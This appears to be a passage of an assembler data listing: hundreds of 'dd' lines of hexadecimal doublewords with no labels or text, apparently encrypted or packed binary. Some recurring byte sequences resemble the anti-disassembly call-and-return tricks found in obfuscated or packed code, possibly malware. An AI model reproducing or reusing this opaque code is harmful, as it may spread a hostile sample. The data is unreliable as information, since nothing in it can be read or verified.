		dd 0CD088627h, 48853630h, 1E89A65Ch, 4D1DBAA4h,	3F236AA7h
		dd 0F2AB72D5h, 691CDE83h, 0B6E0Fh, 0BE1C600h, 3DD797BEh
		dd 6E84A5E0h, 9A7474D3h, 0CA1C000Fh, 66912C7Fh,	3611AC7Ah
		dd 0C14CD937h, 92BD08DEh, 87EF3AD0h, 0AB355EF9h, 803B3362h
		dd 6D875BB2h, 6EB8A403h, 1CB1C33Fh, 90DE37B6h, 0B2FAEF27h
		dd 9150FF3Eh, 0F8D4CE7Fh, 0C16AF07Eh, 336AF8A0h, 336CBAA6h
		dd 1B068DC7h, 2AD570CDh, 0E50E4DFCh, 97336AF8h,	336AE87Eh
		dd 5714BE3Fh, 26128CBDh, 0E5539F38h, 0AB1B3814h, 73A132ABh
		dd 0C3D29B8h, 80F8A0CDh, 0E113DF38h, 0B2B54E65h, 210DFDh
		dd 0F8670000h, 317103D5h, 3A24E11Ch, 7BE315CAh,	0B5CF88C5h
		dd 9F728C2Fh, 0AE043EB2h, 1379FFh, 1C210000h, 913A24E1h
		dd 3EB2C3E1h, 0F4531DF5h, 0E0451FC9h, 3E875B5Eh, 4BA5C412h
		dd 0CCE943E0h, 817D5535h, 0A9D13295h, 0A7A69C3Eh, 0A8A41h
		dd 0E70DDA00h, 11FBE3AAh, 42A8B984h, 769848F7h,	0A6701C3Bh
		dd 727DD06Bh, 20D984Eh,	0D570CD23h, 0E6A1FC2Ah,	93932EC4h
		dd 0AA39AA0Dh, 0FC2F3362h, 24E11CA6h, 0EAED913Ah, 11893EB2h
		dd 0C56EC957h, 0EB336AE8h, 0ACC065FFh, 0DEF58250h, 0B81EA21Ah
		dd 0B9C8B813h, 1DB62159h, 3336AEFh, 1AA9BB97h, 2417A248h
		dd 58BF250Ah, 0EB75904Bh, 0CB729C4Ch, 3EC49DD7h, 0BF1846BFh
		dd 13438283h, 0E60E3FABh, 0B252FF58h, 9654015Bh, 0A6D1CD7Ch
		dd 0DD89364Ch, 0D572FA37h, 9F67FD2Bh, 33B9A75Eh, 0F3EE894h
		dd 0F47EC193h, 0FA0A259Fh, 9FA8D972h, 44BE0EF1h, 4EF60E68h
		dd 9A0E0233h, 0FA198CC6h, 0EF1954Dh, 1DBE4432h,	0EF195F4h
		dd 0AE7200FAh, 0D439D054h, 268DCBC3h, 42BCED3Bh, 1225730h
		dd 1CDB0000h, 913A24E1h, 3EB2EAEDh, 25681189h, 0CA52EF05h
		dd 0F1507B3Ah, 234D8C97h, 6AAF1B88h, 0DF950D33h, 0E1987270h
		dd 0BF6584A2h, 0BDD7D358h, 4917B6Fh, 45AFB318h,	1BA2800Fh
		dd 0F2AB45h, 38D67514h,	3F73E8A3h, 0B3590AB1h, 965A288Ah
		dd 56BCAE7Ch, 846E7CDBh, 17F2EDE5h, 5265EE49h, 9F0B60F0h
		dd 84817C02h, 52F971DAh, 5FD6B8Eh, 0D3392964h, 1EBFF46h
		dd 4991AF67h, 8D2CD387h, 863356F7h, 0B96E2EE9h,	11D10371h
		dd 0B6DBC0FFh, 0F8D4B99Ch, 2A47F07Eh, 3C6E2E4Ch, 43A9B9C6h
		dd 6D97031h, 0EDD28284h, 0BA72311h, 0FA7903A0h,	0C5BD15E5h
		dd 6145B33Ch, 0F4E0D28Bh, 0F7A0C16Ah, 5CB6E5FAh, 5FE06h
		dd 32D88AB5h, 51EBC80Bh, 0F4BC6F23h, 73916D9Eh,	50D16D0Fh
		dd 9F6D8631h, 877363B1h, 0F96ACDABh, 0EF63B19Fh, 10D261F3h
		dd 0C2E0AFFAh, 7FF7128h, 0F6DC1AE6h, 0B5630DD0h, 243E2A94h
		dd 86E01DD8h
		dd 0BAE309D9h, 33A40A58h, 68CF0A87h, 0D80E319Eh, 88273DA1h
		dd 73918712h, 0C9000000h, 3A24E11Ch, 1926CC9Dh,	1A84A54Bh
		dd 0F75CDA48h, 0F6491BCDh, 3EB2FB48h, 8AC5645Eh, 7DFB36DCh
		dd 0FB2F44F7h, 0DD31336Ah, 0C7C7A491h, 82CDB9E4h, 0DD394BA1h
		dd 0FAF5BF33h, 0FA2BBF1Bh, 665801D7h, 6F3F348Eh, 8EA9345h
		dd 8751731Ch, 9847CDABh, 857920CAh, 0EED370DBh,	0EDC5336Ah
		dd 0EE872497h, 31A9336Ah, 36D88837h, 2D4F817h, 0F98B675Bh
		dd 875BF551h, 80E68E69h, 75E68FA0h, 35CC9EDCh, 72FCE8C2h
		dd 0CC9EA8D9h, 6844BE35h, 5DB835DDh, 8192B813h,	4EA43EB2h
		dd 4E98BB20h, 1ECE75F3h, 32DD62F0h, 904D45E4h, 4640EB75h
		dd 2138147Eh, 9BA1D9Bh,	1F38807Ch, 7C7BE8A3h, 756D3880h
		dd 7C2340EBh, 0DD353880h, 8BB22887h, 806CDF48h,	0A65F9E38h
		dd 61D31FB8h, 2F9B33FEh, 29B2DB7Eh, 25CD263Eh, 64B06BEFh
		dd 130FE30Ch, 0B3000000h, 3A24E11Ch, 0B2FB6591h, 0E099713Eh
		dd 2E84h, 0E11CDC00h, 0F39D3A24h, 0DC9A0425h, 0CCE9D67Bh
		dd 90E2D835h, 0C3A9A902h, 41BD3EB2h, 5B9F3BA1h,	0C0795592h
		dd 1CB526ACh, 2336A96h,	5B86DAA8h, 17FA6D87h, 689C3EAAh
		dd 74D83E5h, 0C0E50000h, 0B6B09F2Ah, 6546C15Ch,	550B328Fh
		dd 3D276EBBh, 0B20B5EEBh, 70CD1B05h, 0ADF816D5h, 9C29FFE2h
		dd 0CE5BB1B1h, 0D47DDE60h, 0DA3362AFh, 3C0993AFh, 0E8768F4Eh
		dd 0B2F50F4Fh, 86A0EF3Eh, 6F2C706Ch, 0FDB38F02h, 6D0B02C3h
		dd 5E3ED0CAh, 0BDECC6F6h, 0F37D9855h, 274CEF75h, 0C9FA5FFCh
		dd 0D03083D1h, 0C6F12131h, 52582ECh, 0F7EB52EFh, 1D95819h
		dd 7CDBCB21h, 0A649F614h, 0D6238470h, 8DC604F9h, 6C57CF8h
		dd 481D0000h, 3E2817A2h, 0EDFE59D4h, 0DD838A07h, 0B55FE633h
		dd 3A93D663h, 0C84593BDh, 25709E4Dh, 14A1771Ah,	46D33929h
		dd 4CE556D8h, 523362AEh, 875B6B37h, 0ABEBFA6Dh,	0C97C9C3Eh
		dd 686AFh, 0E309DE00h, 15FFEF56h, 46ACBD98h, 729C4CCBh
		dd 0A2741827h, 7E79D417h, 0E098452h, 0D964B15Fh, 0EA55E036h
		dd 9F8712F8h, 0AE0DA611h, 0E8133362h, 6D875BAAh, 0FE17D63Ch
		dd 266BC770h, 83733EBAh, 0E8938D3h, 5DE8C45Eh, 0DF8E38B5h
		dd 0B01B4531h, 381C75C6h, 0F67CFAD0h, 98752C45h, 0EB012238h
		dd 0BB1740B2h, 62E804A9h, 987558C9h, 27074E38h,	3083D1CDh
		dd 38987597h, 12582E8h,	1940AAB8h, 0C1D9C9A5h, 449AF51h
		dd 9BE9394Bh, 0D849E268h, 0FF389804h, 9804375Ch, 96C13938h
		dd 14CF263Ch, 53FDAA45h, 9Bh, 414909DFh, 4CEF8984h, 3EB2F50Ah
		dd 3A87A5ECh, 0FBD7C329h, 0F755E4A7h, 0B12CE073h, 0F71CB526h
		dd 0A802E061h, 8334B2BCh, 0E061F76Eh, 5AC89A70h, 1FEC4DF1h
		dd 0C87169EBh, 430E03C2h, 0CE029DBh, 2790DECAh,	0E2E4FFAEh
		dd 0BF2442B8h, 0DD5645ABh, 733E9908h, 5F030A87h, 159952B5h
		dd 9FAEB941h, 57A59h, 0F71DCA00h, 21CB93BAh, 52B8A994h
		dd 866878C7h, 0B6600C0Bh, 628D207Bh, 321DA87Eh,	0C540DD33h
		dd 96B10CDAh, 83E33ED4h, 0A1295AFDh, 8C3F3362h,	0DD72B6h
		dd 7AD60000h, 80A918Ah,	2B97B658h, 85E18B3Bh, 1CC607CFh
		dd 1C86A771h, 0E4856F73h, 0DA600EFAh, 0CE84527Dh, 0BA8B154Dh
		dd 6701F93Eh, 6600EAF8h, 3D27FD8h, 0EEC43362h, 0B828E4F6h
		dd 0CD87328Dh, 33D989B4h, 0E70CAF35h, 0B8336275h, 6275F21Fh
		dd 510EE433h, 0E60CDE79h, 14D1396Ch, 11D07FF9h,	23074EFFh
		dd 1987DDC9h, 0D766393h, 67C48D14h, 0D36478Fh, 0B0C2DF10h
		dd 1CDC1F0Fh, 17C04E38h, 3898D3FAh, 0C77CF6ECh,	851F8FEFh
		dd 0D3CF1215h, 60A15CAAh, 215B64A5h, 71FFEB22h,	0E638A4C6h
		dd 0EF504A33h, 884396ECh, 98CE2E5Fh, 28000004h,	0FD58D53Fh
		dd 8FB603E9h, 5AE530DAh, 6E29648Ah, 0C2199442h,	76A04C6Bh
		dd 0A34D1C3Bh, 0D2042F16h, 0EAF847h, 8823ADB5h,	3362A01Bh
		dd 7A58DA0Dh, 249733DDh, 35CCE98Fh, 1C4D3991h, 0C26FD0A2h
		dd 0E535CCE9h, 0CD876D7Eh, 0CCE9DD4Ah, 0A4619C35h, 0A2644ABAh
		dd 0F00A1CE8h, 0F75BFC62h, 0CE3EBACAh, 71DA7E61h, 3363C0D0h
		dd 62F0ECC6h, 2C8BD5CDh, 57C6D73Dh, 0BE1ED69Ch,	0D31DB0C2h
		dd 0C99B7574h, 1D82687Ah, 958F73C0h, 896D677h, 58000004h
		dd 6D28658Fh, 3F069379h, 0CA75C02Ah, 9EB9F41Ah,	52E924F2h
		dd 6D0FCFBh, 33DD8C8Bh,	62B45FE6h, 907A68D7h, 38931D05h
		dd 3362A38Bh, 5B286A9Dh, 0D63C6D87h, 0EA70FE17h, 0DB709E4Dh
		dd 35CCE9B6h, 0A23042B8h, 0B2D22109h, 0DD7E043Eh, 336AC3B4h
		dd 9D3240BAh, 0F19C3B25h, 0A3751827h, 374A18FAh, 4AA08229h
		dd 5E928738h, 0C8F472E5h, 6DCA501Eh, 4AE79442h,	5C7DD75Ch
		dd 0CB55EC66h, 30283A3Bh, 0B59C7C3h, 721D9884h,	2D1985A4h
		dd 0B85D967Ch, 875BD16Dh, 0D1913C6Dh, 0E5E0EE3Bh, 0BEB64E28h
		dd 0FEBF52EFh, 0DF65CB99h, 39534327h, 0B3C1014Bh, 0B20A4200h
		dd 0A8BE253Eh, 0ADA71B42h, 0AEED9C76h, 336A0501h, 0CF9D2007h
		dd 0F9143521h, 2A6504EAh, 28E2D53Bh, 0B75908DAh, 0D72DC5DBh
		dd 5844B853h, 0BBA502F6h, 657C176Dh, 26000000h,	3A24E11Ch
		dd 0BB6D17BCh, 0D86416A9h, 9C3B3EB2h, 0E80425CFh, 6AD9224Fh
		dd 0E2DE3433h, 0D9BED384h, 4AA0336Ah, 9C2B9B38h, 6F85A5CFh
		dd 0ADECC43Eh, 1EB9A749h, 336A6FF5h, 6A130FFBh,	6A6FBED7h
		dd 41ABB833h, 18F6F518h, 0B4CE0061h, 4D477335h,	582212C9h
		dd 11F51F6h, 0F3030000h, 6F4BD295h, 0D76BF98Ch,	3C6D875Bh
		dd 39EF91h, 886247ECh, 7F9555FAh, 81331DF1h, 0C901DB65h
		dd 0E6A028D9h, 86DC8124h, 10FAE827h, 0A77AB685h, 6A7835CCh
		dd 580A3580h, 732AC0E1h, 1CEA938Fh, 913A24E1h, 3EB28B0Dh
		dd 48F77169h, 0ED0321A4h, 295642BCh, 0CE83D107h, 5073D866h
		dd 50FBE786h, 336A8333h, 25F39E25h, 12D33B49h, 0FADA7DFBh
		dd 88381225h, 36CE5412h, 0ED4EEE64h, 3883E144h,	7480706Ah
		dd 6DCEA808h, 388323C4h, 0DD62F0EAh, 8F249733h,	91388323h
		dd 0EA93796Ah, 6B731C08h, 3D189581h, 6B62C513h,	0BC8EEEE1h
		dd 20D6F89h, 80A50000h,	7670DF6Ah, 2506019Ch, 15CB72CFh
		dd 0FDE7AEFBh, 0F24B9E2Bh, 0B00DDBC5h, 0ED38D695h, 0DC69BFA2h
		dd 0E9B7171h, 943D9E20h, 9A3362A2h, 0FC7AD36Fh,	0CCE9365Bh
		dd 3FC63835h, 41553528h, 0F241130Fh, 7EA84BCEh,	0FD5EE482h
		dd 35CCEC54h, 0ECA3C06Bh, 5DB535CCh, 0DB8FC822h, 66E2331h
		dd 678520Eh, 0A5BFABC5h, 6BA64C1Eh, 24E11CDFh, 0D8E9913Ah
		dd 158D3EB2h, 0C6B8D574h, 2BC7336Ah, 0DF8D2AD9h, 52871C35h
		dd 0FFBAD21h, 398C645Eh, 7E705F6Ch, 9E35D0A2h, 0DDF658F4h
		dd 0C5h, 1F875B45h, 371D41E7h, 96A5A9CBh, 35CCED7Dh, 0E29B7763h
		dd 365781A3h, 0BC5211BEh, 0EA9B15A6h, 51FE35CCh, 59E67C92h
		dd 0DB0D3089h, 0E0893A9Dh, 239F35CCh, 8272FA37h, 3B2A3F7Fh
		dd 7E75FDD5h, 0ECFE451Fh, 0A2096706h, 0C9233BBEh, 7E7F87DDh
		dd 0A87ED987h, 0CE3EB25Ch, 3CB959D4h, 0B219A7C1h, 0B12D5CB2h
		dd 0FE0310A3h, 7D553812h, 23CE75F3h, 33035DF1h,	221EB404h
		dd 17C1E350h, 4791B39Ah, 0EECBCFE0h, 0E701048Eh, 0E3h
		dd 35806A73h, 7BB65C0Ah, 0A8E50FDCh, 8411FFEDh,	0F44197B9h
		dd 0F59F18B5h, 0B8AF9623h, 517CDB56h, 5F030A87h, 74FA78B5h
		dd 62A4AEC3h, 0D15B033h, 0D26FB95Bh, 9D776Bh, 6D875BF6h
		dd 0B1D28503h, 0A735CCE9h, 5894394Bh, 0E9C879D2h, 0E4DE35CCh
		dd 0EB01216Eh, 8B35B05Eh, 52113EE8h, 39A6C0BCh,	3CA6C72Dh
		dd 0C71FB826h, 0A63EBA26h, 0D412BF18h, 0AE043362h, 0E5837FD4h
		dd 90806E7Eh, 0D6538F7Dh, 0A30250DFh, 19947E6Ch, 3B42C3Eh
		dd 33626AEEh, 7F2E1AF0h, 7F69A2DCh, 0D72DF569h,	0A1CF2505h
		dd 0A4C52B3Ah, 0B8947A69h, 0BAA897AAh, 8AB35D03h, 44ED4E28h
		dd 6A697D6Dh, 0AAE58470h, 9B3554BAh, 0CF64D75Dh, 0D1697D6Dh
		dd 4D476BF9h, 4721CB9Fh, 627C998h, 8C8BC69Ch, 0D31534DEh
		dd 3, 5B821EB7h, 9E316882h, 0C80726CCh,	3B4AF325h, 7C93CA24h
		dd 0A8E78650h, 0E42B5284h, 0DC732AC4h, 944E50Fh, 0A496B75Dh
		dd 81E18951h, 4C1h, 4E98300h, 31240C33h, 0C33240Ch, 89525C24h
		dd 4C281E2h, 81000000h,	4EAh, 24148700h, 2434895Ch, 0BFF68h
		dd 243C8900h, 1D4F2BBEh, 49BA5235h, 292E6F11h, 8B545AD6h
		dd 0C483243Ch, 5DDA6804h, 34890000h, 8478F24h, 5F2434FFh
		dd 0FF04C483h, 835E2434h, 14E904C4h, 0E5FFF82Fh, 30B8D19Dh
		dd 306AE4Eh, 6FE0FFC5h,	7C279D2Fh, 0DB15175Ah, 8A3D81F6h
		dd 66ADB60h, 925EFC91h,	20608019h, 0D032408Fh, 0B26D5349h
		dd 2D0E931Bh, 0BD130022h, 163F451Dh, 4503F846h,	627961FEh
		dd 8F7ABC8Ah, 2F52DF90h, 89481AA9h, 0A44B35EFh,	8D11CD90h
		dd 0AE4F9D8Dh, 958D2906h, 8906A62Bh, 0A606AD8Dh, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 692EC3C7h, 0C4A06480h, 0D85C7AEh, 2406A604h,	6A000073h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 0A9F8C352h, 0BE985C7h, 6A6h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 29867FC3h, 0A60869BDh, 95B5FF06h, 0E906A620h, 0Ch, 0ADB00DCBh
		dd 0C57A9A75h, 1051B940h, 1A7995FFh, 0BE6606A6h, 6AFC91h
		dd 295995FFh, 0C08B06A6h, 817238EBh, 0D1122646h, 0A1DCF065h
		dd 1121EDBCh, 0DF514EC7h, 0E33C70E7h, 0B1E2B69Eh, 8FD1DC80h
		dd 0C706F924h, 78B0F2ADh, 7F8F3240h, 920CAC08h,	0FA59CEDEh
		dd 0CF7711F1h, 8D8D9983h, 6AE50DCh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 0F5C35747h,	0CABA6653h, 0BDB58906h
		dd 8906A62Eh, 0A606AD8Dh, 12E906h, 79D00000h, 0D19842A9h
		dd 2E05A293h, 0A109449Bh, 98B052E7h, 40D85C7h, 6AD006A6h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 0D0E4CEC3h, 23395576h, 0CBBB667Eh, 0E985C7BDh
		dd 6A60Bh, 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 0D47AC350h, 7BC62F66h,	32A1B5FFh
		dd 6A06A6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 0C685B3C3h, 1A7995FFh, 6A06A6h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 194D1BC3h
		dd 46DE1A66h, 296D9C35h, 0A609E985h, 0FF006A06h, 0A6295995h
		dd 0EBC08B06h, 0A36B905Fh, 8653FC66h, 9E0B003Fh, 440664EEh
		dd 17DA98Ah, 3E4D7E0Dh,	4FC20815h, 4F80BA76h, 0B4DCD44h
		dd 12BD91B5h, 66674C16h, 0FE3CFD08h, 5EDA20BCh,	0B7C1CD70h
		dd 90AEEB67h, 818E1E49h, 9783CD4Ah, 3F7C3335h, 28BCC6E6h
		dd 7C26C82Fh, 5C64ACA0h, 0DFB9962Bh, 55BE4C9Fh,	0C0392031h
		dd 10EBh, 3 dup(0)
		dd 0C08B0000h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ah,	0C35040h, 891A4352h, 0E96031F9h, 0Eh, 9E10D608h
		dd 0F78F3A45h, 940E593Ah, 6E8E3B3h, 22000000h, 1A7ED09Ch
		dd 0D0816606h, 6158A067h, 1EA5BD83h, 750006A6h,	9DBD8309h
		dd 6A62Fh, 53501974h, 2DB8C08Bh, 89000004h, 0A62AD185h
		dd 6C9D8D06h, 0FF06A8A5h, 83585BD3h, 0A62F9DBDh, 17740006h
		dd 2DB85350h, 89000004h, 0A62AD185h, 5B9D8D06h,	0FF06A8A2h
		dd 0F585BD3h, 681h, 0B59D8900h,	6A06A625h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0B452C357h
		dd 0E2801CABh, 0FC08B38h, 58Fh,	0A2E2BA00h, 8D8B637Dh
		dd 6A61581h, 1E4DBD89h,	0F98306A6h, 35840F00h, 0BE000000h
		dd 631E86ADh, 2C3D8B64h, 66000000h, 0B11F3BAh, 1D840FFFh
		dd 3000000h, 0A61E5DB5h, 93F8B06h, 0A62BC585h, 0C032F806h
		dd 1EC28166h, 621DBE6Bh, 0AAF3799Fh, 50414935h,	2985C653h
		dd 4706A60Ch, 7CD68166h, 0ADF26857h, 4818B0Ch, 0C9DA3A24h
		dd 9DB58B51h, 0FF06A629h, 0A60919B5h, 0D58D8906h, 8D06A61Dh
		dd 0A9712085h, 0A19D0906h, 0E906A621h, 0Bh, 3814B7C8h
		dd 0E0DA5A7Dh, 0FF9EE942h, 0D3B70FD0h, 33E58589h, 8B6606A6h
		dd 2985C6F7h, 5306A60Ch, 2B85958Bh, 816606A6h, 0E83508C6h
		dd 4, 88986AFCh, 11E86051h, 0CE000000h,	0B74BD0CFh, 63CCA841h
		dd 923594B8h, 8514428Dh, 800F59h, 61000000h, 850F505Ah
		dd 6, 0B7EB8A60h, 448B6154h, 8B0424h, 4489F78Bh, 66570424h
		dd 585AD68Bh, 1458589h,	0B5FF06A6h, 6A60919h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0C2C35242h, 70CA8024h
		dd 7120858Dh, 816606A9h, 0FD2DDCEh, 685h, 7D958900h, 0FF06A615h
		dd 8D87BAD0h, 858D6F34h, 6A93A00h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 0C4C35343h,	0E004FD60h, 8589DBCCh
		dd 6A62CDDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	0F9C35141h, 6AF7B70Fh, 0FFFF6A20h, 0A62CDD95h
		dd 41493506h, 85C75350h, 6A62C85h, 1, 1B6585C7h, 6A6h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 628A6FC3h, 812000EEh, 7CECAEE6h, 53006A11h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 9E0B003Fh, 8DB58BEEh, 8B06A631h, 0A6017185h,	0A9B58B06h
		dd 0E906A61Ch, 14h, 7F4ACBEEh, 0C9F5DB5Dh, 0F1570E5Ah
		dd 0D8A4FF44h, 9C172B6Bh, 0A364h, 53BE0000h, 83657E3Eh
		dd 0A61B25BDh, 840F0006h, 33h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 6C35242h, 4118C4DAh, 858B490Bh
		dd 6A6002Dh, 8BF0BF0Fh,	41B58BE0h, 8306A62Bh, 0A6063DBDh
		dd 850F0006h, 3D6h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 0B4C35343h, 0D6196E3h, 958B57DEh, 6A62B49h
		dd 0C2985C6h, 8A5606A6h, 4E8D5h, 30DF0000h, 8B50A9C5h
		dd 24448BD6h, 0F08B6604h, 4489008Bh, 89580424h,	0A62BB99Dh
		dd 19B5FF06h, 6A06A609h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 83B6C357h, 858D5676h
		dd 6A97120h, 7B64C681h,	0D0FF4EDBh, 0A8D0Fh, 60600000h
		dd 820F61h, 61000000h, 8A90D78Ah, 8B9050D5h, 0A60CE995h
		dd 0E18D8D06h, 6606A610h, 0BA91D38Bh, 1E47AA3Ah, 51526050h
		dd 60605F5Eh, 91616161h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 15h, 0E5C35545h, 7E90Dh, 0DA4D0000h, 3AE10BB9h
		dd 0E9046AE3h, 0Ch, 5B8723D0h, 0EDCEEAE6h, 0C8DD43CBh
		dd 62878E68h, 929DBE29h, 34813C1Ah, 62978E24h, 85B58B29h
		dd 0FF06A633h, 0A61A95B5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 0FF9FE34Bh
		dd 51006AD0h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 0D11BBF69h, 14E9FACCh, 0EC000000h, 3094F54Ch
		dd 9A217458h, 3F16970Eh, 0F8748110h, 8B8FB9E6h,	0A61A95BDh
		dd 3DBA6606h, 3C7F0395h, 11E8h,	0DE280500h, 8E138B04h
		dd 763CB55Ch, 415F3919h, 8B60CC80h, 0A6214D95h,	54FBB806h
		dd 5A613206h, 0F8C781h,	958B0000h, 6A625D1h, 202447C7h
		dd 89600000h, 0A61CC19Dh, 83CBB206h, 0AE5142BDh, 840F0006h
		dd 16Dh, 28C783F5h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 0A0C35545h, 0E9030007h, 0Ah, 7E7F151Fh
		dd 64A80CFh, 7C7D952h, 64696A2Eh, 2B218D01h, 0BF0F06A6h
		dd 447C7F1h, 617461h, 21BD8960h, 8906A61Fh, 0A62F0D85h
		dd 0BA566106h, 6D639600h, 4A858B5Ah, 8B06AE51h,	0C4789F2h
		dd 5880Fh, 58BA0000h, 8B0C7E9Eh, 0AE514E85h, 0CA816606h
		dd 4789EFCFh, 57006A08h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 0CA44C63Eh, 0FE6426C0h, 28C78314h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0B5C35141h
		dd 0BD0925FAh, 6A6090Dh, 14699D89h, 7C706A6h, 6E6F632Eh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 64C35747h
		dd 0F9A5486Dh, 660447C7h, 80006769h, 858BA3E2h,	6AE5146h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0F2C35545h
		dd 740EF95Ch, 56CFA6CFh, 0D09958Bh, 895A06A6h, 6A0C47h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0BF28C3h, 0DEA6F8Bh,	5142858Bh, 0B58B06AEh, 6A61439h
		dd 3084789h, 0A62A51B5h, 0BE85806h, 2E000000h, 27CA0546h
		dd 0D753BB3Fh, 8D5E9F2Ah, 0A631418Dh, 0D48A5706h, 8B66505Eh
		dd 240C89F3h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 14h,	2BC35141h, 0D0F9E0BEh, 418D891Dh, 0FF06A61Fh, 0A610E1B5h
		dd 6830F06h, 31000000h,	0A61C019Dh, 0E7076806h,	0D4B61E55h
		dd 7243481h, 0F1E55F7h,	0B5FFF6BFh, 6A61A95h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0AFC35545h, 0E85EC271h
		dd 0C01BD31h, 0D0FF06A6h, 1CEDB58Bh, 0B806A6h, 8B000000h
		dd 0A604C595h, 0FC00B06h, 2884h, 0D78B6600h, 2B1DB5FFh
		dd 0F08B06A6h, 1A7995FFh, 0CE806A6h, 1C000000h,	86627234h
		dd 0B8D62068h, 5E2B7811h, 831141BAh, 6AC08B42h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 9FEDC356h, 83209B4Ah, 0A61EA5BDh, 9750006h, 2F9DBD83h
		dd 740006A6h, 8B535019h, 42DB8C0h, 85890000h, 6A61BF9h
		dd 0A5D39D8Dh, 0D3FF06A8h, 0BD83585Bh, 6A62F9Dh, 50177400h
		dd 42DB853h, 85890000h,	6A61BF9h, 0A2749D8Dh, 0D3FF06A8h
		dd 0BD29585Bh, 6A62A09h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 9FC35646h, 0D2FEFA04h, 1EA3E3AFh, 0DD8D0920h
		dd 8906A62Ah, 0A61C1D9Dh, 8B666006h, 0BE9FAh, 0E1E20000h
		dd 8FA597F3h, 0CF275AA8h, 0C08B6133h, 22899523h, 0C08B06A6h
		dd 11E8h, 1E9EBB00h, 2E821EF5h,	357E459Ah, 4008F344h, 0BDBB24A2h
		dd 5A53B9FFh, 2DA58D89h, 0C28106A6h, 7319h, 0BE850h, 0F6F50000h
		dd 9E440AB6h, 850F4F51h, 0E381663Ah, 5E5BA7B8h,	9D29C033h
		dd 6A6327Dh, 0B31034FFh, 0B50B591Ch, 6A62B71h, 0E758F181h
		dd 8D8928C0h, 6A62A65h,	7736E981h, 0E9814F26h, 3DF6BEA5h
		dd 0E6816051h, 7AC5C68h, 5820Fh, 81660000h, 6132EFC8h
		dd 8902048Fh, 0A6000995h, 83FE8A06h, 8B0F03E8h,	3, 48DE8B66h
		dd 8D98F881h, 850FFFFFh, 0FFFFFFA4h, 11E9h, 13A71700h
		dd 0E12989EAh, 0B8B6C4E8h, 0D1B11571h, 8D8DD48Ah, 6AE5B38h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 55C35141h
		dd 3806D094h, 313A316Fh, 0A61BCD8Dh, 6E806h, 0C130000h
		dd 993A62Bh, 178E0Fh, 12E90000h, 4A000000h, 0ECB116C1h
		dd 0B513A84Eh, 7713A289h, 0B38D5D11h, 0FE95E0Ah, 16000000h
		dd 0D0ABD8E4h, 7B3F897h, 0E773DF7Dh, 8D89A544h,	6A606ADh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0E4C35646h
		dd 0B6B2DB84h, 0BD010CEEh, 6A60691h, 40D85C7h, 68F406A6h
		dd 880F0000h, 0
		dd 0BE985C7h, 6A6h, 8B660000h, 159D8BF0h, 0FF06A62Dh, 0A62095B5h
		dd 0CD9D8B06h, 0FF06A62Eh, 0A61A7995h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
		dd 0E87B5528h, 4EAAB7AEh, 51BD33FEh, 8906A62Ah,	0A604A1BDh
		dd 0FF006A06h, 0A6295995h, 0EBC08B06h, 2CC1938h, 692F6F36h
		dd 6CABE4F7h, 6A7EA0DEh, 3501D5E7h, 0A781357Dh,	4C1DF96Dh
		dd 0BEC12234h, 8579FF0h, 16967E34h, 0A98DA3E8h,	63366E1Eh
		dd 0BAAB6A6Ah, 0BECF7CE3h, 5E9F6h, 53140000h, 0E90021D5h
		dd 5B0h, 0A9E40EDFh, 8712F8EEh,	0F441ABB8h, 38759B49h
		dd 68A5731Dh, 51737CD1h, 5C030A87h, 35D867B2h, 0FBEF56E3h
		dd 109E8411h, 62B20AA7h, 7BE91C33h, 8AB60FDCh, 0C5B12D5Ch
		dd 875BF38Fh, 2AB03C6Dh, 0CCE96081h, 0C69C7635h, 75F35779h
		dd 0CCE9A1C2h, 305BB735h, 35CCE993h, 0E8432D85h, 35CCE97Bh
